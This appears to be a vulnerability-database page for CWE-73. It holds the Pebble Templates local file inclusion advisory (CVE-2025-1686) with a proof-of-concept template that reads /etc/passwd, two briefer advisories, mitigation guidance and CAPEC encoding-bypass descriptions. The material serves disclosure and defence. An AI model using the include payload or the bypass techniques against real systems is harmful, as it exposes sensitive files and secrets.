This is an arbitrary Local File Inclusion (LFI) vulnerability. It can allow attackers to exfiltrate the contents of the local filesystem, including sensitive files into PebbleTemplate output. This can also be used to access the /proc filesystem which can give an attacker access to environment variables.
Fix
There exists no published fix for this vulnerability. The best way to mitigate this vulnerability is to disable the include macro in Pebble Templates.
The following can safeguard your application from this vulnerability:
new PebbleEngine.Builder()
.registerExtensionCustomizer(new DisallowExtensionCustomizerBuilder()
.disallowedTokenParserTags(List.of("include"))
.build())
.build();
Report Timeline
Vulnerability was reported under the Open Source Security Foundation (OpenSSF) Model Outbound Vulnerability Disclosure Policy: Version 0.1.
- Jul 15, 2024 Maintainer Contacted to enable private vulnerability reporting
- Jul 18, 2024 I opened a GHSA to report this vulnerability to the maintainer https://github.com/PebbleTemplates/pebble/security/advisories/GHSA-7c6h-hmf9-7wj7 (private link)
- Jul 29, 2024 GHSA updated to ping maintainer about vulnerability, no response
- Oct 1, 2024 GHSA updated to ping maintainer about vulnerability, no response
- Nov 15, 2024 GHSA updated to inform maintainer that disclosure timeline had lapsed, no response.
- Feb 19, 2025 GHSA updated to inform maintainer that disclosure would occur imminently, no response.
- Feb 24, 2025 this GHSA was created to disclose this vulnerability without a patch available.
For further discussion, see this issue: https://github.com/PebbleTemplates/pebble/issues/688
Credit
This vulnerability was discovered by @JLLeitschuh while at Chainguard Labs. Jonathan is currently independent.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.pebbletemplates:pebble"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.2.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-1686"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2025-02-28T19:45:03Z",
"nvd_published_at": "2025-02-27T05:15:14Z",
"severity": "HIGH"
},
"details": "### Summary\n\nIf untrusted user input is used to dynamically create a `PebbleTemplate` with the method `PebbleEngine#getLiteralTemplate`, then an attacker can include arbitrary local files from the file system into the generated template, leaking potentially sensitive information into the output of `PebbleTemplate#evaluate`. This is done via the `include` macro.\n\n### Details\n\nThe `include` macro calls `PebbleTempateImpl#resolveRelativePath` with the `relativePath` argument passed within the template:\n\nExample template:\n```\n{% include [relativePath] %}\n```\nWhen `resolveRelativePath` is called, the `relativePath` is resolved against the `PebbleTemplateImpl.name` variable.\n\n```java\n /**\n * This method resolves the given relative path based on this template file path.\n *\n * @param relativePath the path which should be resolved.\n * @return the resolved path.\n */\n public String resolveRelativePath(String relativePath) {\n String resolved = this.engine.getLoader().resolveRelativePath(relativePath, this.name);\n if (resolved == null) {\n return relativePath;\n } else {\n return resolved;\n }\n }\n```\nhttps://github.com/PebbleTemplates/pebble/blob/82ad7fcf9e9eaa45ee82ae3335a1409d19c10263/pebble/src/main/java/io/pebbletemplates/pebble/template/PebbleTemplateImpl.java#L380\n\nUnfortunately, when the template is created from a string, as is the case when `PebbleEngine#getLiteralTemplate` is used, the `PebbleTemplateImpl.name` variable is actually the entirety of the contents of the template, not a filename as the logic expects. The net result is that the `relativePath` is resolved against the system root directory. As a result, files accessible from the root directory of the filesystem can be included into a template. \n\n### PoC\n\nThe following test demonstrates the vulnerability:\n\n```java\nPebbleEngine e = new PebbleEngine.Builder().build();\n\nString templateString = \"\"\"\n {% include \u0027/etc/passwd\u0027 %}\n \"\"\";\nPebbleTemplate template = e.getLiteralTemplate(templateString);\n\ntry (final Writer writer = new StringWriter()) {\n template.evaluate(writer, new HashMap\u003c\u003e());\n System.out.println(writer);\n}\n```\n\nAs an attacker, the following malicious template demonstrates the vulnerability:\n\n```\n{% include \u0027/etc/passwd\u0027 %}\n```\n\n### Impact\n\nThis is an arbitrary Local File Inclusion (LFI) vulnerability. It can allow attackers to exfiltrate the contents of the local filesystem, including sensitive files into `PebbleTemplate` output. This can also be used to access the `/proc` filesystem which can give an attacker access to environment variables.\n\n### Fix\n\nThere exists no published fix for this vulnerability. The best way to mitigate this vulnerability is to disable the `include` macro in Pebble Templates.\n\nThe following can safeguard your application from this vulnerability:\n\n```java\nnew PebbleEngine.Builder()\n .registerExtensionCustomizer(new DisallowExtensionCustomizerBuilder()\n .disallowedTokenParserTags(List.of(\"include\"))\n .build())\n .build();\n```\n\n### Report Timeline\n\nVulnerability was reported under the Open Source Security Foundation (OpenSSF) [Model Outbound Vulnerability Disclosure Policy: Version 0.1](https://openssf.org/about/vulnerability-disclosure-policy/).\n\n - [Jul 15, 2024](https://github.com/PebbleTemplates/pebble/issues/680#issue-2409727829) Maintainer Contacted to enable private vulnerability reporting\n - [Jul 18, 2024](https://github.com/PebbleTemplates/pebble/issues/680#issuecomment-2236970984) I opened a GHSA \n to report this vulnerability to the maintainer https://github.com/PebbleTemplates/pebble/security/advisories/GHSA-7c6h-hmf9-7wj7 (private link)\n - Jul 29, 2024 GHSA updated to ping maintainer about vulnerability, no response\n - Oct 1, 2024 GHSA updated to ping maintainer about vulnerability, no response\n - Nov 15, 2024 GHSA updated to inform maintainer that disclosure timeline had lapsed, no response.\n - Feb 19, 2025 GHSA updated to inform maintainer that disclosure would occur imminently, no response.\n - Feb 24, 2025 this GHSA was created to disclose this vulnerability **without a patch available**.\n\nFor further discussion, see this issue: https://github.com/PebbleTemplates/pebble/issues/688\n\n### Credit\n\nThis vulnerability was discovered by @JLLeitschuh while at [Chainguard Labs](https://www.chainguard.dev). Jonathan is currently independent.",
"id": "GHSA-p75g-cxfj-7wrx",
"modified": "2026-04-24T20:55:22Z",
"published": "2025-02-28T19:45:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-p75g-cxfj-7wrx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1686"
},
{
"type": "WEB",
"url": "https://github.com/PebbleTemplates/pebble/issues/680"
},
{
"type": "WEB",
"url": "https://github.com/PebbleTemplates/pebble/issues/688"
},
{
"type": "WEB",
"url": "https://github.com/PebbleTemplates/pebble/pull/715"
},
{
"type": "WEB",
"url": "https://github.com/PebbleTemplates/pebble/commit/b3451c8f305a1a248fbcc2363fd307d0baaee329"
},
{
"type": "PACKAGE",
"url": "https://github.com/PebbleTemplates/pebble"
},
{
"type": "WEB",
"url": "https://pebbletemplates.io/wiki/tag/include"
},
{
"type": "WEB",
"url": "https://security.snyk.io/vuln/SNYK-JAVA-IOPEBBLETEMPLATES-8745594"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:H/SC:L/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Pebble has Arbitrary Local File Inclusion (LFI) Vulnerability via `include` macro"
}
GHSA-P7QC-844F-652R
Vulnerability from github – Published: 2024-06-27 18:31 – Updated: 2024-06-27 18:31External Control of File Name or Path in GitHub repository stitionai/devika prior to -.
{
"affected": [],
"aliases": [
"CVE-2024-5334"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-27T18:15:20Z",
"severity": "HIGH"
},
"details": "External Control of File Name or Path in GitHub repository stitionai/devika prior to -.",
"id": "GHSA-p7qc-844f-652r",
"modified": "2024-06-27T18:31:32Z",
"published": "2024-06-27T18:31:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5334"
},
{
"type": "WEB",
"url": "https://github.com/stitionai/devika/commit/6acce21fb08c3d1123ef05df6a33912bf0ee77c2"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/7eec128b-1bf5-4922-a95c-551ad3695cf6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P957-57WH-W9X8
Vulnerability from github – Published: 2025-11-13 00:30 – Updated: 2025-11-13 00:30TEC-IT TBarCode version 11.15 contains a vulnerability in the TBarCode11.ocx ActiveX/OCX control's licensing handling (INI-file based) that can be abused to cause remote creation of files on the host filesystem. Depending on where files can be created and which filenames are allowed, this can allow attackers to write files that lead to code execution or persistence under the context of the hosting process.
{
"affected": [],
"aliases": [
"CVE-2022-4983"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-12T22:15:42Z",
"severity": "MODERATE"
},
"details": "TEC-IT TBarCode version 11.15 contains a vulnerability in the TBarCode11.ocx ActiveX/OCX control\u0027s licensing handling (INI-file based) that can be abused to cause remote creation of files on the host filesystem. Depending on where files can be created and which filenames are allowed, this can allow attackers to write files that lead to code execution or persistence under the context of the hosting process.",
"id": "GHSA-p957-57wh-w9x8",
"modified": "2025-11-13T00:30:17Z",
"published": "2025-11-13T00:30:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-4983"
},
{
"type": "WEB",
"url": "https://www.tec-it.com/en/software/barcode-software/tbarcode/history/v10/Default.aspx"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/tec-it-tbarcode-sdk-remote-file-create"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation
Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
Mitigation
Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
Mitigation
If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
Mitigation
Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-267: Leverage Alternate Encoding
An adversary leverages the possibility to encode potentially harmful input or content used by applications such that the applications are ineffective at validating this encoding standard.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-72: URL Encoding
This attack targets the encoding of the URL. An adversary can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.
CAPEC-80: Using UTF-8 Encoding to Bypass Validation Logic
This attack is a specific variation on leveraging alternate encodings to bypass validation logic. This attack leverages the possibility to encode potentially harmful input in UTF-8 and submit it to applications not expecting or effective at validating this encoding standard making input filtering difficult. UTF-8 (8-bit UCS/Unicode Transformation Format) is a variable-length character encoding for Unicode. Legal UTF-8 characters are one to four bytes long. However, early version of the UTF-8 specification got some entries wrong (in some cases it permitted overlong characters). UTF-8 encoders are supposed to use the "shortest possible" encoding, but naive decoders may accept encodings that are longer than necessary. According to the RFC 3629, a particularly subtle form of this attack can be carried out against a parser which performs security-critical validity checks against the UTF-8 encoded form of its input, but interprets certain illegal octet sequences as characters.